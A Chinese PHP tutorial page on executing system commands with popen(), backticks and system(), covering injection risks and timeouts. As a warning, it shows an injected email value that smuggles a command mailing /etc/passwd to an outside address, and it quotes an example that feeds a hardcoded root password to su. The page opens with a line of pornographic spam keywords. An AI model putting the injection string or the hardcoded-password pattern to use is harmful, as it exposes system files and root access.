日韩天天综合网_野战两个奶头被亲到高潮_亚洲日韩欧美精品综合_av女人天堂污污污_视频一区**字幕无弹窗_国产亚洲欧美小视频_国内性爱精品在线免费视频_国产一级电影在线播放_日韩欧美内地福利_亚洲一二三不卡片区

如何在PHP中執(zhí)行系統(tǒng)外部命令(2)_PHP教程

編輯Tag賺U幣
教程Tag:暫無Tag,歡迎添加,賺取U幣!

推薦:PHP輸出控制功能在簡繁體轉(zhuǎn)換中的應(yīng)用
概要:本文對PHP的輸出控制功能進(jìn)行了簡單介紹并對其在簡繁體轉(zhuǎn)化中的應(yīng)用給出了具體思路和實例。 一 PHP 輸出控制功能介紹 PHP作為當(dāng)今流行的腳本語言之一,具有編寫簡便,執(zhí)行速度快,擴(kuò)充性好等優(yōu)點。PHP的輸出信息控制函數(shù)可以讓你控制你的腳本輸出的內(nèi)

上面的方法只能簡單地執(zhí)行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加Linux的系統(tǒng)用戶時,要調(diào)用su來把當(dāng)前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。

popen()函數(shù)打開一個進(jìn)程管道來執(zhí)行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那么就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一的操作模式,要么寫,要么讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或?qū)?打開的,否則必須調(diào)用pclose()函數(shù)來關(guān)閉它。

例子1:

以下為引用的內(nèi)容:

$fp=popen("/bin/ls -l", "r");

?>

 

例子2(本例來自PHP中國聯(lián)盟網(wǎng)站http://www.phpx.com/show.php?d=col&i=51):

 

/* PHP中如何增加一個系統(tǒng)用戶

下面是一段例程,增加一個名字為james的用戶,

root密碼是 verygood。僅供參考

以下為引用的內(nèi)容:

*/

$sucommand = "su --login root --command";

$useradd = "useradd ";

$rootpasswd = "verygood";

$user = "james";

$user_add = sprintf("%s \"%s %s\"",$sucommand,$useradd,$user);

$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);

@pclose($fp);

?>

3) 用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)

這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執(zhí)行的命令括起來作為一個表達(dá)式,這個表達(dá)式的值就是命令執(zhí)行的結(jié)果。如:

以下為引用的內(nèi)容:

$res=`/bin/ls -l`;

echo '';

'.$res.'

 

 

?>

 

這個腳本的輸出就象:

以下為引用的內(nèi)容:

hunte.gif

hunte.ppm

jpg.htm

jpg.jpg

passthru.php

要考慮些什么?

要考慮兩個問題:安全性和超時。

先看安全性。比如,你有一家小型的網(wǎng)上商店,所以可以出售的產(chǎn)品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的EMAIL地址,然后把這個產(chǎn)品列表發(fā)給他們。假設(shè)你沒有使用PHP的mail()函數(shù)(或者從未聽說過),你就調(diào)用Linux/Unix系統(tǒng)的mail程序來發(fā)送這個文件。程序就象這樣:

 

system("mail $to < products.txt");

echo "我們的產(chǎn)品目錄已經(jīng)發(fā)送到你的信箱:$to";

?>

用這段代碼,一般的用戶不會產(chǎn)生什么危險,但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址:

'--bla ; mail [email protected] < /etc/passwd ;'

那么這條命令最終變成:

'mail --bla ; mail [email protected] < /etc/passwd ; < products.txt'

我相信,無論哪個網(wǎng)絡(luò)管理人員見到這樣的命令,都會嚇出一身冷汗來。

幸好,PHP為我們提供了兩個函數(shù):EscapeShellCmd()和EscapeShellArg()。函數(shù)EscapeShellCmd把一個字符串中所有可能瞞過Shell而去執(zhí)行另外一個命令的字符轉(zhuǎn)義。這些字符在Shell中是有特殊含義的,象分號(),重定向(>)和從文件讀入(<)等。函數(shù)EscapeShellArg是用來處理命令的參數(shù)的。它在給定的字符串兩邊加上單引號,并把字符串中的單引號轉(zhuǎn)義,這樣這個字符串就可以安全地作為命令的參數(shù)。

再來看看超時問題。如果要執(zhí)行的命令要花費很長的時間,那么應(yīng)該把這個命令放到系統(tǒng)的后臺去運行。但在默認(rèn)情況下,象system()等函數(shù)要等到這個命令運行完才返回(實際上是要等命令的輸出結(jié)果),這肯定會引起PHP腳本的超時。解決的辦法是把命令的輸出重定向到另外一個文件或流中,如:

 

以下為引用的內(nèi)容:

system("/usr/local/bin/order_proc > /tmp/null &");

?>

分享:PHP4之COOKIE支持詳解
PHP4之COOKIE支持詳解 建立商業(yè)站點或者功能比較完善的個人站點,常常需要記錄訪問者的信息,在PHP中提供了兩種方便的手段:session和cookie功能.為了永久的保持用戶信息,則cookie是最便捷的手段.在這里我將為大家詳細(xì)的講解cookie的功能及使用方法. 一: 設(shè)

共2頁上一頁12下一頁
來源:模板無憂//所屬分類:PHP教程/更新時間:2009-05-18
相關(guān)PHP教程